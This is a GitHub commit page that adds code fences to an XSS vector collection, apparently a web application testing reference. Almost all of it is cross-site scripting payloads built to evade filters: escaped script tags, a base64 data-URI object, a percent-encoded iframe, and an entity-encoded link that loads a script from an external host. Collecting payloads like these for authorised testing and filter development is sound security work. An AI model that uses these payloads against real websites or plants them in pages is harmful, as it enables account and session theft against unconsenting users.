Skip to content
Permalink
Browse files

Update xss_vectors.md

  • Loading branch information...
santosomar committed May 17, 2019
1 parent ad58cf1 commit 799e2454e329861954a99bd89df01753aa9de825
Showing with 2 additions and 1 deletion.
  1. +2 −1 web_application_testing/xss_vectors.md
@@ -1,5 +1,6 @@
# A collection of XSS vectors

```
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
@@ -666,7 +667,7 @@ http://www.<script>alert(1)</script .com
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
```

## OWASP XSS Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

0 comments on commit 799e245

Please sign in to comment.
You can’t perform that action at this time.